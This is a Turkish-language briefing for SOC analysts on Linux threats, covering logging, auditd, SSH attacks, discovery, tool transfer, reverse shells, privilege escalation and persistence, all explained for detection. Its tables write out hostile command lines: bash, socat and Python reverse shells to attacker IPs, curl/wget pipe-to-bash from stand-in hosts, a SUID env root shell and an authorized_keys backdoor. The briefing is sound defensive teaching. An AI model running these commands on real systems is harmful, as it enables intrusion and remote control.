

# Linux Güvenlik Tehditleri ve SOC Analizi: Bir Brifing Notu

## Yönetici Özeti

Bu brifing, Linux sistemlerinin artan önemi ve buna bağlı güvenlik risklerini, Güvenlik Operasyonları Merkezi (SOC) analistleri için temel günlük (log) analizi, tehdit tespiti ve kalıcılık yöntemlerini detaylandırmaktadır. Linux, sunucularda, bulut tabanlı iş yüklerinde ve gömülü sistemlerdeki yaygınlığı nedeniyle siber saldırganlar için önemli bir hedef haline gelmiştir.

Temel çıkarımlar şunlardır:

- **Günlük (Log) Yönetiminin Farklılıkları:** Windows'un aksine, Linux olayları yapılandırılmamış düz metin dosyalarına kaydeder. `/var/log` dizini merkezi bir konum olmasına rağmen, olay kodlarının ve katı formatlama kurallarının olmaması analizi zorlaştırabilir.
- **Yetersiz Varsayılan İzleme:** Varsayılan Linux yapılandırması, proses oluşturma, dosya değişiklikleri ve ağ olayları gibi kritik "çalışma zamanı" (runtime) aktivitelerini kaydetmez. Bu boşluğu doldurmak için `auditd` gibi ek araçların kullanılması zorunludur. Bu araçlar, saldırganların atlatmasının neredeyse imkansız olduğu sistem çağrılarını (system calls) izleyerek çalışır.
- **SSH Zafiyetleri:** İnternete açık SSH servisleri, en yaygın ilk erişim vektörlerinden biridir. Saldırganlar, zayıf parolalara yönelik kaba kuvvet (brute-force) saldırıları veya çalınmış SSH özel anahtarları aracılığıyla sisteme sızar. Güvenli anahtar tabanlı kimlik doğrulama, bu riski önemli ölçüde azaltır.
- **Süreç Ağacı Analizinin Önemi:** Bir saldırının başlangıcını ve sonraki adımlarını anlamak için en evrensel ve etkili yöntem süreç ağacı analizidir. Bir SIEM uyarısı veya şüpheli bir komut gibi bir tetikleyiciden başlayarak, olayı başlatan kullanıcı veya uygulama geriye doğru izlenir.
- **Saldırı Yaşam Döngüsü:** Saldırganlar genellikle sisteme girdikten sonra Keşif (Discovery) komutları çalıştırır, `wget` veya `curl` gibi araçlarla kötü amaçlı yazılımlarını indirir (Ingress Tool Transfer), ayrıcalıklarını yükseltir (Privilege Escalation) ve son olarak sisteme kalıcı erişim sağlamak için çeşitli yöntemler kullanır (Persistence).
- **Kalıcılık Teknikleri:** Saldırganların sistemde uzun süreli erişim sağlamak için kullandığı en yaygın yöntemler arasında Cron job'ları (zamanlanmış görevler), Systemd servisleri, yeni kullanıcı hesapları oluşturma ve mevcut kullanıcıların SSH anahtarlarını arka kapı olarak kullanma yer alır.

Bu belge, SOC analistlerinin Linux ortamlarındaki tehditleri proaktif olarak avlamaları ve olaylara etkin bir şekilde müdahale etmeleri için gerekli temel bilgileri ve stratejileri sunmaktadır.

---

# 1. Linux Günlük Yönetimi ve Temelleri

Linux'un bulut bilişimin yaygınlaşmasıyla birlikte sunucu ve gömülü sistemlerdeki liderliği pekişmiştir. Bu durum, SOC analistlerinin geleneksel sunuculardan veya konteyner tabanlı bulut iş yüklerinden kaynaklanan Linux uyarılarını ve olaylarını giderek daha sık araştırmasını gerektirmektedir. Yaygın bir kanının aksine, Linux tabanlı sistemler kötü amaçlı yazılımlara karşı bağışık değildir ve Linux hedefli saldırılar artan bir sorundur.

## Günlük (Log) Formatı ve Konumu

Windows'tan farklı olarak, Linux çoğu olayı düz metin dosyalarına kaydeder. Bu, günlüklerin Event Viewer gibi özel araçlara ihtiyaç duymadan herhangi bir metin düzenleyici ile okunabilmesi anlamına gelir. Ancak bu durumun bir dezavantajı, varsayılan Linux günlüklerinin daha az yapılandırılmış olmasıdır; çünkü olay kodları ve katı günlük formatlama kuralları bulunmamaktadır. Çoğu Linux günlüğü `/var/log` klasöründe bulunur.

## Temel Günlük Dosyaları ve Kaynakları

**Kimlik Doğrulama Günlükleri:** Bir analistin izlemesi gereken ilk ve en faydalı günlük dosyası `/var/log/auth.log`'dur (RHEL tabanlı sistemlerde `/var/log/secure`). Adı yalnızca kimlik doğrulama olaylarını içerdiğini düşündürse de, bu dosya aynı zamanda kullanıcı yönetimi olaylarını, çalıştırılan `sudo` komutlarını ve daha fazlasını saklayabilir. Başarılı her oturum açma ve kapatma olayı, `session opened` veya `session closed` anahtar kelimeleriyle filtrelenerek bulunabilir.

**Bash Geçmişi:** Diğer bir değerli günlük kaynağı, Enter tuşuna basıldıktan sonra çalıştırılan her komutu kaydeden Bash geçmişidir. Komutlar varsayılan olarak oturum sırasında bellekte saklanır ve oturum kapatıldığında her kullanıcı için `~/.bash_history` dosyasına yazılır. Bu dosya, önceki oturumlardaki komutları incelemek için kullanılabilir.

## Çalışma Zamanı (Runtime) İzlemesi ve `auditd`

"Bob bugün hangi programları başlattı?" veya "Ev dizinimi kim, ne zaman sildi?" gibi sorular, varsayılan Linux günlükleriyle güvenilir bir şekilde cevaplanamaz. Çünkü Linux, varsayılan olarak proses oluşturma, dosya değişiklikleri veya ağ bağlantıları gibi **çalışma zamanı (runtime)** olaylarını günlüğe kaydetmez.

**Sistem Çağrıları (System Calls):** Bu sınırlamayı aşmak için modern EDR (Endpoint Detection and Response) ve günlükleme araçları, sistem çağrılarına (system calls) güvenir. Bir dosya açmak, bir proses oluşturmak veya işletim sisteminden başka bir hizmet talep etmek gibi işlemler, belirli bir sistem çağrısı aracılığıyla yapılır. Linux'ta 300'den fazla sistem çağrısı bulunur (`execve` gibi). Saldırganların sistem çağrılarını atlatmasının neredeyse hiçbir yolu olmadığı için, bu çağrıları izlemek, sistemdeki aktiviteleri tespit etmenin en güvenilir yoludur.

**auditd Kullanımı:** `auditd`, Linux'ta sistem çağrılarını izlemek için kullanılan standart bir araçtır. Oluşturulan günlükler `/var/log/audit/audit.log` dosyasında gerçek zamanlı olarak görülebilir, ancak `ausearch` komutu çıktıyı daha okunabilir bir formatta sunduğu ve filtreleme seçenekleri desteklediği için analiz için daha kullanışlıdır.

## 2. İlk Erişim (Initial Access) Teknikleri ve Tespiti

Saldırganların bir Linux sistemine sızmak için kullandığı çeşitli yöntemler bulunmaktadır. Bunların en başında, genellikle zayıf bir şekilde korunan SSH servisleri gelir.

### SSH Üzerinden Erişim

SSH (Secure Shell), dünya çapında BT ekipleri tarafından kullanılan yaygın bir uzaktan erişim hizmetidir. İnternete açık Linux makinelerinin neredeyse tamamında SSH etkindir; Shodan verilerine göre 2025'te 40 milyondan fazla makinede SSH bulunmaktadır.

**Riskler ve Yöntemler:** SSH, MITRE ATT&CK çerçevesinde "Harici Uzak Hizmetler" tekniği altında izlenir ve saldırganlar genellikle iki ana yolla erişim sağlar:

#### 1. Çalınan Anahtar (Key-based Authentication):

- Saldırganlar, özel SSH anahtarlarının saklandığı bir kaynak kod deposuna (örn. GitHub) veya otomasyon sunucusuna (örn. Ansible) erişir.
- Bir yöneticinin dizüstü bilgisayarına veri hırsızlığıyla bir yazılım bulaştırarak SSH anahtarlarını çalar.

#### 2. Ele Geçirilen Parola (Password-based Authentication):

- Bir yönetici test amaçlı zayıf bir SSH parolası belirler ve bunu değiştirmeyi unuttur.
- Bir yüklenici için geçici olarak etkinleştirilen SSH hesabına "12345678" gibi zayıf bir parola atanır.
- Eski ve güvensiz bir SSH sunucusu yanlışlıkla internete açılır.

| Kimlik Doğrulama Türü  | Mantık                                       | Açıklama                                                                                                                                                                                                                                 |
|------------------------|----------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| <b>Parola Tabanlı</b>  | "Ben şifreyi <b>bilen</b> kişiyim."          | Kullanıcı, sunucuya parolasını gönderir. Sunucu, kendi elindeki hash ile karşılaştırarak doğruluğunu kontrol eder.                                                                                                                       |
| <b>Anahtar Tabanlı</b> | "Ben bu anahtara <b>sahip olan</b> kişiyim." | Kullanıcının genel anahtarı (kilit) sunucuda, özel anahtarı (anahtar) ise kendisindedir. Sunucu, kullanıcının özel anahtarıyla çözmesi gereken şifreli bir mesaj gönderir. Kullanıcı anahtarını veya parolasını asla sunucuya göndermez. |

**SSH Saldırılarının Tespiti:** Linux'ta SSH saldırılarını tespit etmek, tüm başarılı SSH girişlerini listelemek ve birkaç temel alanı analiz etmek kadar basit olabilir. Kimlik doğrulama günlükleri bu süreç için başlangıç noktasıdır.

## İnsan Odaklı Saldırıları ve Tedarik Zinciri İhlalleri

Linux öncelikle teknik personel tarafından yönetilen bir sunucu işletim sistemi olduğu için, kullanıcıları oltalama (phishing) veya kötü amaçlı USB takmaları için kandırmak Windows ortamlarına göre daha zordur. Ancak riskler devam etmektedir.

| Senaryo Örneği                                                                                                                      | Sonuçlar                                                                                                                        |
|-------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------|
| Bir BT çalışanı, bir sorunu çözmek için forumda bulduğu <code>curl https://shadyforum.thm/fix.sh   bash</code> komutunu çalıştırır. | Komut dosyasının içeriği kontrol edilmediği için, sunucuya gizlice kötü amaçlı bir yazılım bulaşır.                             |
| Bir geliştirici, sunucuya "fastapi" paketini kurmak isterken <code>pip3 install fastpi</code> yazarak bir harf hatası yapar.        | Harf hatası yapılan paket, tehdit aktörleri tarafından kasıtlı olarak hazırlanmış kötü amaçlı bir yazılımdır (Gerçek bir vaka). |

**Tedarik Zinciri İhlalleri (Supply Chain Compromise):** Bu saldırı türünde, önce bir yazılımın kendisi ele geçirilir ve ardından kötü amaçlı güncelleme aracılığıyla tüm kullanıcılarına bulaşır. XZ Utils kütüphanesindeki bir arka kapı veya tj-actions ihlali sonucu binlerce SSH anahtarının sızdırılması gibi örnekler, bu tehdidin ciddiyetini göstermektedir.

## Evrensel Tespit Yöntemi: Süreç Ağacı Analizi

Uygulama günlükleri her zaman mevcut veya yardımcı olmayabilir. Bu nedenle, çoğu SOC ekibi **süreç ağacı analizine** güvenir. Bu evrensel yaklaşım, bir SIEM uyarısı veya şüpheli bir komut gibi bir tetikleyiciden başlayarak, olayı başlatan kök süreci (bir web sunucusu, bir SSH oturumu vb.) bulmayı ve aktivitenin meşru olup olmadığını belirlemeyi amaçlar.

## 3. Saldırı Sonrası Aktiviteler ve Tespiti

Saldırganlar bir sisteme ilk erişimi sağladıktan sonra, hedeflerine ulaşmak için bir dizi eylem gerçekleştirirler.

### Keşif (Discovery)

Saldırganlar bir sisteme ilk girdiklerinde genellikle nerede olduklarını ve sistemin neye benzediğini anlamak için keşif komutları çalıştırırlar. Bu adım, yalnızca saldırganlar hedeflerini önceden bildiğinde veya amaçları sadece bir kripto madenci kurup çıkmak olduğunda atlanır.

| Keşif Amacı                      | Tipik Komutlar                                                                   |
|----------------------------------|----------------------------------------------------------------------------------|
| İşletim Sistemi ve Dosya Sistemi | <code>pwd, ls /, env, uname -a, lsb_release -a, hostname</code>                  |
| Kullanıcı ve Gruplar             | <code>id, whoami, w, last, cat /etc/sudoers, cat /etc/passwd</code>              |
| Proses ve Ağ                     | <code>ps aux, top, ip a, ip r, arp -a, ss -tnlp, netstat -tnlp</code>            |
| Bulut veya Sanal Ortam           | <code>systemd-detect-virt, lsmode, uptime, pgrep "&lt;edr-or-sandbox&gt;"</code> |

**Keşif Aktivitelerinin Tespiti:** Bu komutları tespit etmek, `auditd` veya diğer çalışma zamanı izleme araçlarıyla basittir. Zorluk, bu komutların bir saldırgan tarafından mı, meşru bir hizmet tarafından mı, yoksa bir sistem yöneticisi tarafından mı çalıştırıldığına karar vermektir. `auditd` ile toplanan veriler bir SIEM'e gönderilerek veya `ausearch` kullanılarak avlanabilir.

## Araç Transferi (Ingress Tool Transfer)

Saldırganlar, kripto madencileri veya diğer kötü amaçlı yazılımları kurban sisteme indirmek için genellikle sistemde önceden kurulu olan komutları kullanır.

| Komut       | Kullanım Örneği                                                                    |
|-------------|------------------------------------------------------------------------------------|
| <b>Wget</b> | <code>wget https://github.com/[...]/xmrig-x64.tar.gz -O /tmp/miner.tar.gz</code>   |
| <b>Curl</b> | <code>curl --output /var/www/html/backdoor.php "https://pastebin.thm/[...]"</code> |
| <b>SSH</b>  | <code>scp kali@c2server:/home/kali/exploit.sh /tmp/exploit.sh</code>               |

Bu komutlar `auditd` ile izlenebilir ve bazen Bash geçmişinde görünebilir. Ancak, bir saldırgan `scp` veya `sftp`'yi kendi sisteminden kurban sisteme dosya göndermek için çalıştırırsa, bu komut kurbanın `auditd` günlüklerinde görünmez. Bunun yerine, yeni bir SSH giriş olayı kaydedilir.

## Ters Kabuk (Reverse Shells)

Saldırganlar, kurban sistemden kendi sistemlerine doğru bir bağlantı başlatarak daha rahat bir çalışma ortamı elde ederler. Bu, özellikle güvenlik duvarlarının dışarıdan gelen bağlantıları engellediği durumlarda tek olası seçenektir.

| Kurban Üzerindeki Komut                                                             | Açıklama                                                                                |
|-------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------|
| <code>bash -i &gt;&amp; /dev/tcp/10.10.10.10/1337 0&gt;&amp;1</code>                | Kurban, 10.10.10.10:1337 adresine bağlanarak saldırgan için bir "bash" kabuğu başlatır. |
| <code>socat TCP:10.20.20.20:2525 EXEC:'bash',pty...</code>                          | Yukarıdaki komutun <code>socat</code> alternatifi.                                      |
| <code>python3 -c '[...]<br/>s.connect(("10.30.30.30",80));pty.spawn("bash")'</code> | Yukarıdaki komutun <code>Python</code> alternatifi.                                     |

## Ayrıcalık Yükseltme (Privilege Escalation)

İlk erişim her zaman tam sistem kontrolü (root) anlamına gelmez. Saldırganlar genellikle düşük ayrıcalıklı bir hizmet kullanıcısı olarak başlarlar ve root erişimi elde etmek için ayrıcalıklarını yükseltmek zorundadırlar.

| Önceki Keşif (EĞER)                                                                                              | Ayrıcalık Yükseltme (O ZAMAN)                                                                   |
|------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------|
| <code>uname -a</code> komutu eski ve yamalanmamış bir Ubuntu 16.04 gösteriyor.                                   | PwnKit gibi bir exploit çalıştırılır: <code>wget http://bad.thm/pwnkit.sh   bash</code>         |
| <code>find /bin -perm 4000</code> komutu, SUID bayrağına sahip bir <code>env</code> ikili dosyası tespit ediyor. | SUID zafiyeti kullanılarak root erişimi elde edilir: <code>/bin/env /bin/bash -p</code>         |
| <code>ls /etc/ssh</code> komutu korunmasız bir <code>ssh-backup-key</code> dosyası ortaya çıkarıyor.             | Dosya, root olarak giriş yapmak için denenir: <code>ssh root@127.0.0.1 -i ssh-backup-key</code> |

Ayrıcalık yükseltme yöntemlerinin çeşitliliği (yüzlerce SUID yanlış yapılandırması, binlerce yazılım zafiyeti) nedeniyle tespiti zordur. Daha evrensel bir yaklaşım, keşif ve ayrıcalık yükseltme eylemi gibi çevresindeki olayları izlemektir.

## 4. Kalıcılık (Persistence) Teknikleri ve Tespiti

Linux sunucuları genellikle yeniden başlatılmadan yıllarca çalışabilir. Bu nedenle, bazı saldırganlar kalıcılık sağlamak için acele etmese de, uzun vadeli erişim hedefleyenler genellikle bir veya iki arka kapı kurar.

### İşletim Sistemi Seviyesinde Kalıcılık

**Cron Job'ları:** Windows'taki zamanlanmış görevlere benzer şekilde, Cron job'ları bir işlemi belirli bir zamanda çalıştırmanın en basit yoludur ve en popüler kalıcılık yöntemidir.

- **APT29**, GoldMax adlı kötü amaçlı yazılımının yeniden başlatmalardan sonra çalışmasını sağlamak için kurbanın cron dosyasına (`/var/spool/cron/<user>`) yeni bir satır eklemiştir.
- **Rocke** kripto madencisi, `/etc/cron.d/root` konumuna bir cron işi ekleyerek betiğini her 10 dakikada bir yeniden indirir ve BT ekibi tarafından silinmesi durumunda kendini onarır.

**Systemd Servisleri:** DNS ve SSH gibi en kritik sistem bileşenleri Systemd servisleri olarak çalışır. `root` ayrıcalıklarıyla saldırganlar, `/etc/systemd/system` klasörüne kendi `.service` dosyalarını oluşturarak kötü amaçlı yazılımlarının sistem başlangıcında çalışmasını sağlayabilirler. Örneğin, **Sandworm** grubu GOGETTER adlı yazılımını "cloud-online" adında bir servis olarak kurmuştur.

## Hesap Seviyesinde Kalıcılık

Saldırganlar, sisteme kötü amaçlı yazılım bırakmadan kalıcı erişim sağlamak isteyebilirler.

**Yeni Kullanıcı Hesabı:** Eğer SSH açıksa, saldırganlar yeni bir kullanıcı hesabı oluşturabilir, bu hesabı `sudo` gibi ayrıcalıklı bir gruba ekleyebilir ve gelecekteki girişler için bu hesabı kullanabilirler. Bu eylem, `useradd` ve `usermod` komutları için `/var/log/auth.log` günlükleri izlenerek ve ardından `auditd` ile süreç ağacı yeniden oluşturularak tespit edilebilir.

**SSH Anahtarlarını Arka Kapı Olarak Kullanma:** Diğer bir yöntem, mevcut bir kullanıcının `~/.ssh/authorized_keys` dosyasına kendi genel anahtarlarını eklemektir. Bu, kötü amaçlı anahtarın meşru anahtarlar arasında fark edilmesini zorlaştırdığı için tespiti güç bir tekniktir.

- **Tespit:** Bu tekniği tespit etmenin en iyi yolu, proses oluşturma olaylarına güvenmek yerine, `auditd` kullanarak bu `authorized_keys` dosyalarındaki değişiklikleri doğrudan izlemektir. Çünkü `echo [key] >> ~/.ssh/authorized_keys` gibi kabuk yerleşik (shell builtin) komutları, `auditd` tarafından `echo` olarak değil, yalnızca `bash` olarak günlüğe kaydedilir ve komutun kendisi görünmez.

## Uygulama Seviyesinde Kalıcılık

Saldırganlar, yönetici erişimi elde ettikleri bir web uygulamasında (örneğin WordPress) kalıcılık sağlayabilirler. Uygulama katmanına bir web kabuğu (web shell) gibi bir arka kapı ekleyerek, işletim sistemi seviyesindeki günlüklenme araçlarının (`auditd` gibi) görmediği bir yoldan komut çalıştırabilirler. Eğer diğer tüm kalıcılık mekanizmaları kontrol edildikten sonra bile kötü amaçlı yazılım bir şekilde yeniden ortaya çıkıyorsa, halka açık uygulamalardan birinin ele geçirilmiş olabileceğinden şüphelenilmelidir.

